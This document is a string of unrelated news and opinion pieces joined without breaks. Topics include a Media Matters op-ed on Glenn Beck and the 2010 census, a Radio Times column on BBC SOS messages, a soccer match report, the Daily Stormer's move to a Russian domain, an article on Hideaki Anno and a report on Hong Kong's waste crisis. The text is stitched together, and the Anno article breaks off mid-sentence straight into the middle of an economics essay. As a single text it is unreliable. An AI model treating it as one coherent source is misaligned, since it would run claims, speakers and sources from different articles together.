Subscribe nowWant to annoy the likes of Fox News' Glenn Beck in five minutes or less while simultaneously making sure your community gets its fair share of federal money? Fill out and return the 2010 U.S. Census questionnaire when it arrives in your mailbox.
Want to annoy Fox News' Glenn Beck in five minutes or less while simultaneously making sure your community gets its fair share of federal money? Fill out and return the 2010 U.S. Census questionnaire when it arrives in your mailbox.
Few other issues seem to whip media conservatives into a frenzy of misinformation and half-baked conspiracy theories like the decennial count of Americans.
You see, for the world of "conservative journalism," the census is a manifestation of everything they fear. Put yourself in their shoes: Obama's administration is hell-bent on imposing a socialist-fascist-communist-totalitarian-Marxist police state, and now he's sending us all mail! Even worse, Obama's thugs may show up at your door to get a more accurate count.
Why wait for the third installment of the Twilight franchise when you've got these scary bloodsuckers wanting to... gulp... count you?
To hear Beck tell it, the Census is just part of the "modern day slave state." Hardly surprising for a man who has called President Obama a "racist" with a "deep-seated hatred for white people" and claimed Obama's policies in general are driven by little more than "reparations" and a desire to "settle old racial scores."
For government-haters like Beck, attacks such as these are as calculated as they are mean-spirited. Why would he want his audience to think highly of the once-a-decade count if it has a direct result in determining just how federal money for schools, hospitals, job training centers, senior centers, emergency services and a host of public works projects are allocated? He doesn't believe the federal government should be involved in these programs in the first place.
Bemoaning the purported ills of the Census is just one more way Beck advances his mantra that all things government, especially Obama-government, are evil.
When the Commerce Department announced this month that the Census Bureau would "develop a Supplemental Poverty Measure that will use the best new data and methodologies to obtain an improved understanding of the economic well-being of American families and of how federal policies affect those living in poverty," Beck claimed the new measure would put him "on the poverty scale" since it would "compare" him to his wealthier neighbors.
Get that? To Beck, who has made as much as $23 million a year according to some reports, poverty and the government's attempts to assist the poor are deserving of mockery. It's all part of his larger goal of souring his audience on the very idea of the Census, and this time the poor are his piñata du jour.
Of course, if you present Beck with his own words on the Census (or any other issue for that matter), he's likely to demand you "stop listening to the Internet. There's a lot of garbage out on the Internet." In a sense he just may be right. If you were to Google "Beck" and "U.S. Census" you are bound to find video and audio clips of his rants on the subject that can only be described as, well, garbage
Beck's attacks on the census fit nicely into his larger worldview, one that he's been pushing more and more of late -- his broader disdain for social justice and the religious and political actors and institutions that champion the tradition of helping the least among us. He's called it "code language for Marxism" and encouraged his audience to "run, and don't listen to anyone who is telling you differently."
To Beck, the poor should trudge their difficult path alone, and no one -- not the church, not our political institutions, and certainly not the U.S. Census -- should be there to offer a helping hand.
This type of thinking was summed up well by the words of Comedy Central's Stephen Colbert when he quipped, "I believe in pulling yourself up by your own bootstraps. I believe it is possible -- I saw this guy do it once in Cirque du Soleil. It was magical."
I don't buy it, and neither should you.
So, like generations of Americans before me, I will be counted so my community receives the help it needs.
Knowing that Glenn Beck doesn't like the census? Well, that's just icing on the cake and all the motivation I need to complete the questionnaire and drop it in the mail just as soon as it arrives at my door.
Karl Frisch is a senior fellow at Media Matters for America, a progressive media watchdog, research, and information center based in Washington, D.C. Frisch also contributes to County Fair, a media blog featuring links to progressive media criticism from around the web as well as original commentary. You can follow him on Twitter, Facebook and YouTube or sign-up to receive his columns by email.Yes, to the left is a photograph featuring one of the unquestioned giants of British broadcasting, standing in front of a portrait of Lord Reith, the BBC’s first director-general. You’ll notice a number of things. Sartorial standards in the Corporation have slipped somewhat since Lord Reith’s day. He never remembered to wear his BBC pass. I have a lot less paperwork to worry about than he did, and I will soon have the same amount of hair.
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What, you may ask, was I doing goofing around in the hallowed Council Chamber of BBC Broadcasting House, under the portrait of the man credited with fashioning the public-service broadcasting ethos that still pulses through today’s BBC?
The story began in these pages. A while back I wondered whether Radio Times readers had any recollections of the SOS messages that I remember from years gone by. They always seemed to be on just before the news. In sparse language and serious tones they shone a brief, bright light on some unfolding human drama. “Would Mr and Mrs John Smith believed to be travelling around Cumbria in an Austin Maxi, please contact the hospital in Winchester where Mrs Ethel Smith is dangerously ill”. A telephone number would be read out, and that was it.
We were all left to wonder, while the pips played and the news began, whether Mr and Mrs Smith ever made it to that far-off bedside. Would poor Ethel die alone? Perhaps she pulled through and would go on to die in a freak accident 40 years later, run over by a car driver distracted by an SOS message on the radio?
We were never told. SOS messages were the most intense, personal moments in broadcasting. They used the power of radio and its ability to reach millions instantly to reach out to one or two individuals to tell them something that mattered only to them. But what happened to those people, we never knew. Which is why I asked RT readers for their experiences.
There was a big reaction. Many readers recalled hearing the messages. Others found themselves in the position of rushing to bedsides. One reader was a young girl when she fell very ill and an appeal was made for her parents to return home.
It was 1958 and six-year-old Linda Miller was staying with her auntie while her parents went off on holiday to London. Linda became very ill with what was initially suspected to be polio, but turned out to be a bone infection. She was taken into hospital in Sunderland, while an SOS message was broadcast in the hope of finding her parents.
They never heard it. But thankfully a cyclist by the name of Mr Clampit did. He remembered the details of their number plate from the broadcast and tapped on the car window when he spotted the vehicle in a car park. As a result, mum and dad made it to young Linda’s bedside and, after several months of treatment, she was released from hospital and grew up to be the kind of beautiful person who buys Radio Times.
I will not spoil the broadcast by over-trailing here the other RT readers who kindly agreed to tell us their stories for And Now an Urgent SOS Message. But I was moved by much of what I heard and I wish we’d had more time on air to dwell on their experiences. People were happy to share some personal, life-changing moments, and I want to thank here everyone who wrote, and everyone to whom we spoke.
The BBC archive revealed a great deal I didn’t know. For instance, the SOS system dated back to the earliest days of the British Broadcasting Company in the 1920s. John Reith saw the public-service possibilities of the messages and helped craft the rules that governed them. While the initial broadcasts could include missing persons (and pets), the system was honed to target only those who were dangerously ill. I know some people suspect dangerously ill was code for a person who had already died, but that’s an urban myth. There were strict rules to ensure that just before an SOS message was broadcast, a phone call was made to the hospital in question to ensure that the subject of the message was still with us. If the person had died, the message was cancelled.
Messages could be broadcast only once. No exceptions. And the BBC judged that it would be wrong to broadcast any follow-up to an SOS message, which is why we remained in the dark about what happened next. Auntie Beeb was keen to protect the individuals involved from prying inquiries. But the archive reveals that checks were made internally on how many SOS messages were successful.
You may be pondering when you last heard an SOS message. Not in the past decade, certainly, but exactly when I don’t know. Having successfully traced the birth of SOS messages thanks to the detailed paper trail that dates back to the BBC’s first moments, there is no certainty about when or why they stopped. No sign of a memo axing them. We’ve asked the people who would know, but it seems a combination of emerging technology (mobile phones) and Radio 4 schedule changes meant there was no more need for those chilling broadcasts.
I learnt a few other things in making our programme. In a note from the archive, from 1923 or 1924, there was word of the Daily Express demanding that the BBC be closed down. Plus ça change. And I discovered that John Reith himself wrote a weekly column for Radio Times. Finally something I had in common with him, besides being Scottish. We wrote for the same magazine. And for the same fee.
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And Now an Urgent SOS Message is on tonight at 8:00pm on Radio 4Mike McCall, ArmadaFC.com | July 9, 2016
Final Stats
JACKSONVILLE, Fla. — Sometimes, lightning does strike twice.
Well, it seemingly struck about a thousand times during the Jacksonville Armada’s match with Puerto Rico FC on Saturday night — enough to cause a two-hour delay — but the two that mattered most came from Jemal Johnson and Alex Dixon to hand previously goal-starved Jacksonville a 2-1 win over the NASL’s newest club in front of 5,134 at Community First Park.
The victory was just the Armada’s second of the year (April 15 vs. Miami FC) and gives them a 1W-1D-0L record in the Fall Season, more than half their point total from the disappointing Spring Season (seven).
In fact, the result left them in second place in the Fall standings, and they’re on a five-game unbeaten streak.
“It’s a fantastic feeling,” Johnson said. “We’ve worked hard, and in the offseason we’ve been trying to get our chemistry going. Tonight it paid off for us.”
Head coach Tony Meola delivered on his promised roster changes, and minus the weather delay and a 78th-minute goal from PRFC’s Hector Ramos, all went according to plan.
Four recent signings appeared in the game, and all were effective. Defenders Anthony Wallace and Karl Ouimette combined to make 13 clearances and win all their tackles and 11 of 12 duels. Midfielder Zach Steinberger went 22 of 25 passing, and substitute Jason Plumhoff almost bagged a goal six minutes after coming on.
But perhaps Meola’s best decision was to hand Dixon his first start at center forward (he’s usually a midfielder or winger), and deploy Jemal Johnson on his left.
Those two were in sync early and often, and it was Dixon who set up the opener in the ninth minute.
He drifted wide right, took a defender with him and then crossed to Johnson, who let the ball bounce before volleying into the top corner for his first goal since August 2015.
Meola said Dixon has played up top in training, and he expects it to be his main position going forward.
“We told (Dixon), the next time the ball goes in the corner and you pull a center back out, you’ve got to go to goal,” Meola said. “Even if you lose the ball — put them under pressure. We ended up getting a goal out of it. He’s got wheels, and I don’t think we’ve seen him run like that.”
Three minutes later, a distant lightning strike seemed a fitting comparison to a rare early goal from the Armada. But it became much more in the 20th, when play was halted due to weather. That kicked off a series of delays that lasted a full two hours — although the break was livened up by the constant singing and dancing of the proud Puerto Rican fans in attendance.
“It’s always tough whenever you start, stop and then have to get started up again,” Dixon said. “We just kept ourselves moving in the locker room. … Playing soccer tennis, listening to music, doing header challenges, a whole bunch of stuff.”
When play resumed close to 9:30 p.m., the Armada had lost none of their sharpness.
Johnson returned the favor to Dixon just seven minutes after the restart, running down a long ball from Junior Sandoval near the end line and cutting a pass back for his charging teammate, who buried it to hand the home side their first two-goal lead since September of last year.
“As the ball was coming over, I saw that their defenders all dropped back in,” Johnson said. “I saw Dixon out of the corner of my eye and just touched it back to him. I knew he would get the goal.”
There were some nervy moments, like Kevan George’s tackle to deny a point-blank chance and Puerto Rico FC’s Ramos missing a wide open header on a free kick, but the Armada held their lead into the locker room.
PRFC (0-1-1) struck back when Ramos out-jumped Tyler Ruthven to head in David Lopez’s free kick in the 78th, but Ruthven answered with a crucial tackle to deny Ramos in the 83rd. The visitors threatened all the way until the final seconds, and the Armada brought on a third center back, Beto Navarro, to help cope with the attacks.
The Armada now turn to a two-game road trip over the next week, facing the New York Cosmos at 7:30 p.m. on Wednesday and Miami FC at 8 p.m. next Saturday.
With promising new signings on board, key players Lucas Scaglia and Pekka Lagerblom returning to health, and more talent on the way in the Swedish pair of Alexander Andersson and Nicklas Maripuu — Meola finally has some depth to work with. While squad rotation is necessary in the short term, he will be driving toward a best XI that he can count on each week.
“If games were Saturday-Saturday all the time, once everybody’s here and settled in, you probably will see the same lineup, short of an injury,” Meola said.
The Armada's next home game is at 5 p.m. on Saturday, July 23 against Ottawa Fury FC. Tickets, starting at $11, can be purchased by calling 1.844.2.ARMADA or visiting armadafc.com/tickets.The Daily Stormer, a neo-Nazi website, is back on the internet under a Russian web domain.
The white supremacist news site lost its DailyStormer.com address after GoDaddy, which hosted the site, removed it earlier this week for publishing an article insulting Heather Heyer, the woman killed while protesting against a white supremacist rally in Charlottesville, Va.
The site then tried to get a domain with Google, which also banned it from their web services.
The Daily Stormer domain was then hosted briefly on the dark web before getting a Russian domain.
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Posts on the website hailed the attention they have received in recent days.
"What has happened is that we’ve been given a massive amount of publicity by the media, and we need to work on capitalizing on that to get our ideas further into the public sphere," the post reads.
"[This is] the greatest thing that’s ever happened to us,” another post read, referring to the media attention the site gained in the past several days.
Prior to GoDaddy’s ban, the fringe website received little web traffic.A Biotherapy Development Research Centre in Japan has accidentally come across a game-changing discovery — ice-cream that doesn’t melt, known as Kanazawa Ice.
A pastry chef working for the research center was experimenting with polyphenol, a liquid extracted from strawberries, when he realised that the dairy cream he was using “solidified instantly.”
“Polyphenol liquid has properties to make it difficult for water and oil to separate, so a popsicle containing it will be able to retain the original shape of the cream for a longer time than usual, and be hard to melt,” explains Tomihisa Ota, a professor emeritus of pharmacy at Kanazawa University, who developed the popsicles.
The ice-cream is said to be unaffected by temperatures as hot as 28-degrees and according to SoraNews, can retain their shape for up to three hours.
In other food-related news, Starbucks recently released Mooncakes to celebrate the Mid-Autumn Festival.Andrew Osmond on the adventures of Young Hideaki
22nd June sees the first ever British release of Nadia: The Secret of Blue Water on Blu-ray and DVD, courtesy of Animatsu. Nadia is a splendid adventure on its own terms, but it’s also an insight into the development of Hideaki Anno, who made Nadia five years before he unleashed Neon Genesis Evangelion on the world.
Anno was one of the main guests at the Tokyo International Film Festival last October. We were there, and we’ve already covered his talks on his anime, including his memories of making Evangelion, Nadia and Gunbuster. We also had a face-to-face interview with the director himself. But for readers who want to understand Anno’s career in greater depth, he also spoke extensively about the lesser-known parts of his work, where he developed creatively and professionally.
The first of Anno’s talk sessions was titled ‘Early Work,’ including several mini-films drawn on paper during his gap year (1979 to 80). You can see bits of them in the trailer above. One of the films was “He Who Shoots Often, Hits at Last!” which is the kind of film that would have caused British tabloid journalists to pronounce young Anno a psychopath who should be sectioned for society’s protection. The film features a boy student posing like 007, shooting everyone in sight, including an office’s-worth of salarymen, to a Seventies-style funk soundtrack.
The other films showed a clear fixation with tanks, missiles and explosions. ‘Water’ seemed inspired by the Tezuka short ‘Drop,’ while Anno himself cited the lengthy Time Bokan franchise by Tatsunoko as an influence on his work. More obviously, there were Anno’s fan tributes to the fantasies that he grew up to: Space Battleship Yamato (which inspired his first amateur animation, of the eponymous ship), Gundam and especially Ultraman.
Anno’s live-action Ultraman from 1980 is basically a long fight between two supermen, with trick effects like laser beams (created by scratching off the film’s top layer with needles.) Anno himself was one of the combatants, who viewers might think was the hero. In the talk, he explained his character was actually the baddie, but Anno still wanted all the cool fight moves!
“Daicon Film’s Return of Ultraman” was first shown at the Daicon convention in Osaka in 1983. The film was full of wire-frame graphics and extended model mecha scenes – Anno has a liking for wireframe graphics, saying they were good at conveying movement. The film also features impressive destruction of miniature buildings, and a monster foreshadowing Nausicaa’s God Warrior, which Anno would draw soon after. At the climax, an unmasked Anno fights the monster across tiny houses, Ultraman- (and Eva-) style.
In addition, the film has a human monster-fighting team operating from an (ostensibly!) high-tech base, foreshadowing Evangelion’s NERV. This team consisted of Anno’s friends, all double- or triple-cast, although Anno commented on the difficulty of finding chums with filmic good looks.
“I’m a little embarrassed, I want to go home,” Anno joked of seeing his juvenilia up on the big screen. Of his fixations with mechanics and bombings, Anno explained he loved exploding objects, tracing the paths and patterns of debris through the air. “Things I love drawing, I just draw.” He pointed out that drawing the same things again and again means you get very good at drawing those things.
Anno’s earliest animation was drawn on cels, until he saw paper-animated films at a festival and promptly switched to paper and felt-tip. He bought the paper from 100-yen shops, drawing straight ahead; he wouldn’t encounter an animation time-sheet until his first pro work on Macross.
Works like Anno’s 1980 fan Ultraman required more expensive kit. Anno recalled the days of buying film and other equipment with his parents’ allowance, or (later) with the investment of a wealthy college friend. This was before video playback – “You had to be super-rich to have a video.” 8mm film was his prized asset. There was no microphone in his camera, so Anno relied on cassette tapes to produce sound.
Anno progressed when he started to work with others, joining other artists on the 1981 opening film (“Daicon 3”) for Osaka’s Daicon convention. Anno admitted thinking the work would be too much of a burden, but he got the position by drawing a flipbook animation of a robot suit in moments. He specialised in mechanical effects on “Daicon 3”, and came back for “Daicon 4” in 1983, following his stint on Macross. Anno described “Daicon 4” as a new apex in his animation, when he focused on rising dust and side-effects, the dots and particles thrown up by the explosive action.
To date, Anno has made three live-action feature films, including his 1998 Love & Pop (about the lives of schoolgirls and the contentious issue of “compensated dating”), and his 2004 version of Go Nagai’s Cutie Honey. However, the Tokyo festival focused on Anno’s middle film, Shiki-jitsu (aka Ritual), released in 2000. It never seems to have come to Britain or America, although an English-subtitled DVD is available from Japan.
Filmed (in 35mm) in the industrial town of Ube where Anno grew up, Shiki-jitsu is the lengthy but hugely compelling story of two troubled people. One is a burned-out male director who’s returning to his home town, a clear self-insertion on Anno’s part. The other is the eccentric, moody, perhaps dangerous girl he encounters. Shiki-jitsu sometimes plays like a dark, minor-key variant on themes in Anno’s Eva and Kare Kano, with suspense added by title cards counting down days to some unknown event.
The woman is played (excellently) by Ayako Fujitani, who also wrote the book on which the film was based. Thankfully, Fujitani plainly didn’t inherit her acting ability from her father, Steven Seagal. The male character was played by an actual film director, Shunji Iwai; soon after acting in Shiki-jitsu, he made the acclaimed teen drama All About Lily Chou-Chou. Anno claimed Iwai can actually be seen typing Lily Chou-Chou in the film. He chose Iwai because he wanted someone with the authority a director would possess. Later, Anno acknowledged this as a strange precedent for his own surprise voice-casting as the lead in Miyazaki’s Wind Rises.
In the talk, Anno recalled how he turned to live-action features after being burned out by End of Evangelion, with no ideas left to animate. For Anno, the chief difference between live-action and animation is that live-action allows so much more leeway in editing; assembling and cutting material, using alternative takes, in ways impossible in animation. The subject of CGI came up, with its potential for creating lasting virtual assets. Anno described CG as between animation and live-action.
For Love & Pop, shot on video cameras, Anno often filmed the actors without telling them the camera was on, to elicit more natural performances. In the same spirit, a crucial three-way confrontation near the end of Shiki-jitsu was filmed without a script, improvised round story points, reminiscent of the method of Britain’s Mike Leigh.
As well as the actors, Anno also spoke about the importance of the surrounding infrastructure in his films. The child Anno lived with the sounds of Ube’s railways and train barriers, so integral to Evangelion; train tracks are also prominent in Shiki-jitsu. For Anno, the appeal of the railway is that one can only go where the lines go. Anno links this to the power of the cut in a live-action film. An audience might expect to see more of a given scene, but it’s the remit of the director to cut it and shunt the viewers somewhere else.
Anno conceded the |
many years to come, not least owing to the advent of quantum computing.
Another new tool is the laser. When the first lasers appeared, they were almost an invention in search of an application. Nowadays, they are almost as ubiquitous as computers, used for seemingly mundane daily uses from document scanning to ophthalmology. The range of research areas that now rely on lasers is no less broad, running the gamut of biology, chemistry, genetics, and astronomy. Recently, lasers enabled the confirmation of gravitational waves—one of the holy grails of physics.
Yet another technological innovation that is transforming science is the gene-editing tool CRISPR Cas9. Already, sequencing genomes is a fast and relatively cheap process, its cost having dropped from $10 million per genome in 2007 to under $1,000 today. CRISPR Cas9 takes this technology to a new level, as it enables scientists to edit and manipulate the human genome. While that idea may give some people pause, the technology’s potential beneficial applications —such as enabling essential crops to withstand climate change and water salination—cannot be overestimated.
Furthermore, digitization has lowered access costs for researchers substantially. All research relies on access to existing knowledge; we all stand on the shoulders of the giants (and even average-size figures) who came before us. But, until recently, learning what one needed to know to come up with scientific and technological innovations took a lot more work, with countless hours spent scouring libraries and encyclopedia volumes. Nowadays, researchers can access mega databases, where they can find patterns and empirical regularities.
Our scientific knowledge is surging forward, leading to innumerable new applications. Technology will forge ahead as well, in scores of expected and unexpected areas. It will bring economic growth, albeit perhaps not the kind that will register fully if we continue to rely on our outdated standards for national income accounting.
©2016/PROJECT SYNDICATE
Joel Mokyr is professor of economics and history at Northwestern University.Looking for news you can trust?
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When Newt Gingrich was asked by CNBC’s John Harwood why Freddie Mac paid him $300,000 in 2006, he played his wild card: He was hired, he said, for his analysis as an “historian.” We called baloney—and sure enough Bloomberg reported on Tuesday that Gingrich more or less did the opposite of what he said he did. And now they have a follow-up, with the full price tag: Over eight years, Gingrich was paid $1.6 million, or approximately 100,000 $16 muffins, for his work.
Clea Benson and Dawn Kopecki report:
The total amount is significantly larger than the $300,000 payment from Freddie Mac that Gingrich was asked about during a Republican presidential debate on Nov. 9 sponsored by CNBC, and more than was disclosed in the middle of congressional investigations into the housing industry collapse. Gingrich’s business relationship with Freddie Mac spanned a period of eight years. When asked at the debate what he did to earn a $300,000 payment in 2006, the former speaker said he “offered them advice on precisely what they didn’t do,” and warned the company that its lending practices were “insane.” Former Freddie Mac executives who worked with Gingrich dispute that account.
The former officials said he helped craft and shape the agency’s message in its efforts to win over lawmakers. That’s in contrast to Gingrich’s more recent statements; asked about his efforts by Harwood, he said he had sharply criticized the mortgage giant’s housing policies and warned that its practices could hurt the economy.
Should his current surge in the polls continue much longer, it’s unclear what will hurt him more: His business dealings after leaving the House, or his business dealings while he was still in the House, which prompted him to resign in disgrace. Or given the GOP base’s ability to look past the flaws of any candidate not named Mitt Romney, he might just be in the clear.When I first meet Chan King Ming at the Chinese University of Hong Kong, it is difficult to imagine that the region is facing an environmental disaster. We are speaking on a crisp spring morning, in the leafy university campus in Hong Kong’s New Territories. Between the trees, I can see the sea glistening under the gaze of the city’s towerblocks and the steep climb of the mountains behind. There is not a single discarded plastic bottle or used newspaper in sight.
But appearances are deceptive. Hong Kong may be clean on the surface, but its public services are straining to keep a lid on its rubbish. Despite attempts to clean up its act, the region produced 3.7 million tonnes of municipal waste in 2015 – the highest figure for five years. It has already cycled through 13 landfill sites, which are now being repurposed as parks, golf courses, and sportsgrounds, with just three sites remaining open. At this rate, it will only be a matter of a few years before those too begin to overflow. “If Hong Kong continues in this way, we will reach breaking point by 2020,” says Chan – an estimate supported by Hong Kong’s own Environmental Protection Department.
Hong Kong could be a warning for many other countries, as more and more people feel the lure of city living
Chan is both an environmental scientist and a politician for the Neo Democrat Party of Hong Kong, experience that has given him an unparalleled view of the social, economic and technological difficulties of saving the city from this deluge. “We are moving in the direction of unsustainable urbanisation,” says Chan. And that could be a warning for other countries, as more and more people feel the lure of city living – meaning that environmentalists across the world will be watching Hong Kong’s next steps closely.
With around seven million people, crammed into an area of 2,000 square kilometres (772 sq miles), Hong Kong is currently the fourth most densely populated place in the world (after its neighbour, Macau, and Singapore and Monaco). With space at such a premium, there is precious little room to build new landfill sites.
Hong Kong's tourism now brings around 60 million additional people to the islands per year
Hong Kong’s tourism has only piled on the pressure. As the region’s industries moved to mainland China, the region made an active bid to attract more visitors from the mainland to boost its economy. It now brings around 60 million additional people to the islands per year (nearly seven times the permanent population), with around 70% coming from mainland China. Hong Kong’s cuisine and shopping malls are both among the key attractions, meaning that each of those visitors will generate a lot of additional food and packing waste. “We need them to boost our economy, but there are also drawbacks,” says Chan.
Compounding these problems is Hong Kong’s status as a ‘free economy’, which means that the government is reluctant to impose regulations that may threaten trade. “It’s supposed to be the most free economy in the world, so government officials try their best not to intervene in any way with our production lines, or consumer behaviours,” says Chan. For this reason, there is currently little legislation on product packaging, for instance, or any other measures that could reduce waste.
Operation Green Fence
Along with many other countries, Hong Kong had once offloaded some of its rubbish to mainland China for recycling. While Chinese businesses were able to make use of scrap metals, plastics, and rare metals in electronic goods, it also often came with unusable and contaminated leftovers (including food and medical waste) – creating further environmental issues for Chinese cities. As a result, the government decided to ban the importing of unprocessed materials – a move known as a “Green Fence” – in the hope that other countries would clean up their material before selling the valuable stuff.
Unfortunately, Hong Kong has not yet developed enough of its own recycling plants to compensate for the changing policy. “So stuff that would have been sent to China to be processed is just being put in the landfill,” says Doug Woodring, an environmental campaigner and co-founder of the Ocean Recovery Alliance, who I meet after my conversation with Chan.
The result is that despite repeated warnings, Hong Kong’s municipal waste had continued to grow over the last five years – and the government will need to act quickly before all the territory’s landfills have been exhausted.
The ‘trash glacier’ As if Hong Kong’s own waste wasn’t serious enough, its beaches have faced an increasing deluge of rubbish by sea. Environmentalists are unsure of the source, but it seems to come periodically with changing weather patterns. “We could be getting stuff from Taiwan coming down, and the Philippines and Vietnam coming up,” says Woodring. It may also be flowing from Mainland China – possibly through illegal dumping or seasonal floods that washed rubbish into the sea along the Pearl River Delta. “A lot of stuff has Chinese writing on it, but where it entered the water, you don’t really know.” People in Hong Kong are also increasingly concerned about an illegal landfill on the Chinese island called Wailingding, around 20km south of Hong Kong. Some have compared it to a ‘trash glacier’ that keeps on sliding down the hill and into the sea. “That thing is twenty stories tall, that wall of trash. If there was a big typhoon, and it hit the right direction, the waves could come into the bottom and collapse the whole thing,” says Woodring. “It would be a natural disaster for Hong Kong.” The Ocean Recovery Alliance has recently launched the Global Alert app. It allows people across the world to report rubbish hotspots in their rivers and on their coastlines, which Woodring hopes could bring greater international awareness to these issues and encourage local communities to take more responsibility. Simply tying bamboo across the width of a river can catch floating rubbish and make it easier to collect, he says – small steps that may make all our oceans a little cleaner.
One big step will be the introduction of a “waste charge”, which would force locals to pay around $0.11 Hong Kong dollars (around £0.01) for each litre of rubbish collected. The new legislation, announced earlier this year, should take effect by 2019, and the South China Morning Post estimates that it amounts to around $33-54 Hong Kong dollars (roughly £3-5) per household, per month. The legistlation’s proponents point across the sea to Taipei in Taiwan, and Seoul in South Korea, which both managed to reduce waste disposal by more than 30% using similar schemes.
Hong Kong’s Environmental Protection Department is also forging ahead with plans for a $10 billion dollar incinerator on Lantau (the largest of the territory’s islands, towards the south west of the region). Burning the waste should shrink it to around a tenth of its size. Even so, it can only burn so much waste – about 30% of the city’s total output overall, according to Chan’s estimates. The solution is far from popular with the locals, who are understandably concerned about the increased air pollution it may bring.
Chan is more enthusiastic about plans to build a food processing plant on Lantau, which would recycle waste from the commercial kitchens around the airport. He points out that horticulturists currently import a lot of their garden compost from as far away as the Netherlands – whereas the decomposed food waste would be a natural local source. Such plants may also produce biogas to fuel cars. “By our rough estimation, we’d need 20 factories of that size to deal with our food waste,” Chan says. “But I think it’s worth doing, because we need to recycle as much usable material as possible.”
The territory may also benefit from further e-waste ‘upcycling’ factories, allowing manufacturers to extract valuable raw materials for export – a move that could further boost Hong Kong’s economy. But these schemes need further government support, including a better system that forces families and businesses to separate the different kinds of waste – food, plastics, glass – at the source, before it is collected. “Right now that’s lacking,” Chan says.
The sheer volume of waste, coming from so many people, makes it too difficult to sort the good from the bad after collection. “The problem is that right now, everything is put in one bag – food, grease, and then your paper, then your plastic – and that neutralises the value of them all,” says Woodring. “Even if you sort wet waste from dry, it’s so much easier for anyone to get some value from it.”
Woodring would also like people and companies to calculate a “plastic footprint” – akin to the “carbon footprint” for greenhouse emissions – so that people are more conscious of the waste they are creating. “Because if you don’t know what you have, you don’t know how to manage it.”
As Chan and Woodring both point out, environmental measures do not need to challenge Hong Kong’s existing businesses: it can offer ways to generate new revenue. Woodring, for instance, points out that Pacific Coffee (one of the city’s ubiquitous US-style coffee houses) has recently implemented its own recycling scheme, where you can return your used lids in return for a free refill, which helps the company to collect recycled materials while also increasing customer loyalty. So far, these kinds of strategies are rare in Hong Kong, but it’s a move in the right direction, he says.
Chan’s impatience is clear throughout our conversation: the problem has been apparent for at least a decade, he says, but progress has been slow, with endless discussions in place of decisive policy. “We’ve wasted all this time.” As the deluge of rubbish continues to rise, inaction is now not an option.
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David Robson is BBC Future’s feature writer. He is @d_a_robson on Twitter.
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If you liked this story, sign up for the weekly bbc.com features newsletter, called “If You Only Read 6 Things This Week”. A handpicked selection of stories from BBC Future, Earth, Culture, Capital, and Travel, delivered to your inbox every Friday.ESPN's national college basketball analysts Jay Bilas, Seth Greenberg, and Jay Williams debated who out of the Pac-12 has the best chance to win a national championship this season during Saturday's College GameDay show.
The options: Arizona, Oregon, and UCLA.
For two of the three, the Ducks were the logical choice.
"I would say if you had to put money on one, I would say Oregon," said Jay Bilas. "They are the most balanced offensively and defensively."
The balance on offense and defense referenced by Jay Bilas is one of the best one-two tandems in the country. According to KenPom.com, Oregon's offense is currently ranked 24th in the country, while their defense is 20th. Only seven of the Top 25 offenses have better defenses than Oregon's. Of the 25 best defenses, only six teams have better-ranked offenses than Oregon.
"They've got shot blocking, rim protection, and Tyler Dorsey is a pretty good Robin to Dillon Brooks' Batman," said Bilas.
"Who's this year's Tom Brady of college basketball? Dillon Brooks has made shots against UCLA and Cal, the kid has ice in his veins," added Jay Williams.
ESPN's Seth Greenberg picked UCLA because 'the rules are set up for the offense in college basketball.'
"The best offensive team in college basketball and one of the best offensive teams in the history of college basketball, you can relax, it is UCLA," said Greenberg. "They are scoring in their sleep, who's stopping them?"
The Ducks and Wildcats are tied for first place in the Pac-12 with one game remaining for each team. The Ducks currently hold the tie-breaker over the Wildcats. Oregon finishes the regular season at Oregon State on Saturday and Arizona plays at Arizona State the same day to close out their regular season.Crystal Palace have contacted Liverpool hoping to secure Jonjo Shelvey on a season-long loan as Ian Holloway seeks to be reunited with a player who excelled under his stewardship during a brief spell at Blackpool.
Shelvey, a £1.7m signing from Charlton two years ago, has made only 17 Premier League starts for Liverpool and will find his opportunities just as limited in the season ahead given Brendan Rodgers' array of attacking midfield options. Indeed the midfielder, who was capped by England against Sweden last November, has started only two league games this calendar year and is likely to be told he can leave the club when he discusses his future with the manager this month.
Norwich, West Ham and Swansea are to consider lodging bids to sign the player permanently though, if Shelvey believes he can still make his mark at Liverpool, the option of a loan move may be more attractive. Holloway took the player for two months in late 2011 and saw him flourish, scoring six goals in 10 starts in the Championship and Palace now hope the chance of regular football at Selhurst Park persuades him to return south.
The newly promoted side expect to secure the former West Bromwich Albion winger Jerome Thomas under freedom of contract, have signed Brighton's Stephen Dobbie while Peterborough's Dwight Gayle should become their record signing when he joins for an initial £3.25m, rising to £4.5m, on a five-year contract.WOMEN ARE MUCH CHOOSIER than men when it comes to romance. This is well known, but the reason for this gender difference is unclear. Evolutionary psychologists think it is because back in prehistoric times “dating” was much riskier for women. Men who made an ill-advised choice in the ancient version of a singles bar simply had one lousy night. Women who chose unwisely could end up facing years of motherhood without the critical help that a stable partner would have provided.
That is less true today, yet women remain much more selective. Is this difference a vestige of our early ancestry? Or might it be totally unrelated to reproductive risk, the result of something more modern and mundane? A couple of Northwestern University psychologists, Eli J. Finkel and Paul W. Eastwick, decided to explore this question in an unusual laboratory: a real-life speed-dating event.
People in Motion
For the uninitiated, speed dating is an increasingly popular way for men and women to meet and find potential partners. Participants attend a sponsored event and go on a series of very brief “dates,” about four minutes each. Typically the women sit scattered around a room, and the men make the rounds. Afterward, both men and women indicate to the sponsor if they would be interested in seeing any of the others again. If two “yeses” match up, they get phone numbers and that’s it. They’re on their own.
Men say “yes” a lot more than women. That is expected, but Finkel and Eastwick had a novel theory about why. Perhaps it could be explained by the simple convention of men standing and approaching—and women sitting passively. There has been a lot of recent work on the mutual influence of body and mind—how we embody our thoughts and emotions. For example, body movements can subconsciously influence people’s attitudes toward another race. In a 2007 study at York University in Canada psychologists found that nonblack participants who were trained to pull a joystick toward them when they saw a picture of a black person subsequently had fewer implicit (subconscious) biases against blacks than people who were trained to push the joystick away or to the left or right. Pulling the joystick was similar, in a psychological sense, to approaching the individuals in the pictures—and when people approach someone, their feelings about that person tend to warm.
Finkel and Eastwick speculated that in speed dating, physically approaching someone might be enough to make the potential date more appealing romantically—and thus, because men usually approach women in such events, to make the men less choosy overall.
They tested this hypothesis in a series of 15 heterosexual speed-dating events, involving 350 young men and women. Each participant went on about 12 dates, but the researchers changed the rules: in seven of the events, the women approached the men, so overall both genders approached each other about equally. After each date, the participants rated their partners for romantic desirability and romantic chemistry. They also rated their own sense of self-confidence on the date. After all the brief dates were over, they decided thumbs up or thumbs down for each candidate.
Hello, I Love You
